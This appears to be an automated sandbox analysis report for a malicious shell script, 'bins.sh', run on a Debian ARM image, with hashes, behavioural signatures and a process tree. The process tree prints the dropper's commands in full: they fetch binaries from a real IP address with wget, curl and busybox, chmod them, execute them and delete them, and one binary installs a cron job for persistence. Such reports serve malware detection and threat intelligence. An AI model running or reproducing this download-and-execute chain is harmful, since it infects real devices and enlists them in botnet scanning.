Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23-11-2024 19:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1af48b59e54a461d801c58a2e6f2853e

  • SHA1

    d8ce0cc7e067bbcc17e7f02651135515cac789e0

  • SHA256

    8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

  • SHA512

    984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab

  • SSDEEP

    96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Malware Config

Signatures

  • Contacts a large (2035) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:651
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:677
        • /bin/chmod
          chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • File and Directory Permissions Modification
          PID:684
        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Executes dropped EXE
          PID:685
        • /bin/rm
          rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:689
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:709
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • File and Directory Permissions Modification
            PID:730
          • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Executes dropped EXE
            PID:731
          • /bin/rm
            rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
              PID:733
            • /usr/bin/wget
              wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:734
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:738
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Executes dropped EXE
              PID:763
            • /bin/rm
              rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:767
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:774
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:775
              • /bin/chmod
                chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • File and Directory Permissions Modification
                PID:776
              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:777
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:779
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:780
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:781
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:782
                  • /bin/rm
                    rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                    2⤵
                      PID:784
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                      2⤵
                        PID:787

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

                      Filesize

                      141KB

                      MD5

                      3ca8decdb1e52c423c521bfff02ac200

                      SHA1

                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                      SHA256

                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                      SHA512

                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                    • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

                      Filesize

                      117KB

                      MD5

                      849fa04ef88a8e8de32cb2e8538de5fe

                      SHA1

                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                      SHA256

                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                      SHA512

                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                    • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

                      Filesize

                      111KB

                      MD5

                      ca897a38f23ec23521ce0b1b83f8422d

                      SHA1

                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                      SHA256

                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                      SHA512

                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                    • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

                      Filesize

                      99KB

                      MD5

                      9438d9bc392bcf300a5583b6df5bc8f6

                      SHA1

                      375a6ae34b516f6f3eeea8030c4084f585017efa

                      SHA256

                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                      SHA512

                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                    • /var/spool/cron/crontabs/tmp.dROggO

                      Filesize

                      210B

                      MD5

                      38a7d7522adbff9e73684b1f745fa2d5

                      SHA1

                      35e7794719b53349dc764c99d7057dcc40b3eb8a

                      SHA256

                      6444393a216d0e61e5d6f6b965f3e973403ab91738b6fb6f48e166d14b4a846f

                      SHA512

                      3cb4594b6a0dbc8b8c3b3cd946545a08cf00a7741bf9b7090bc31145e990bfad108786da305b3556057e4f0be45dd87dccfac71d0c311d5df7a0b3a91174a335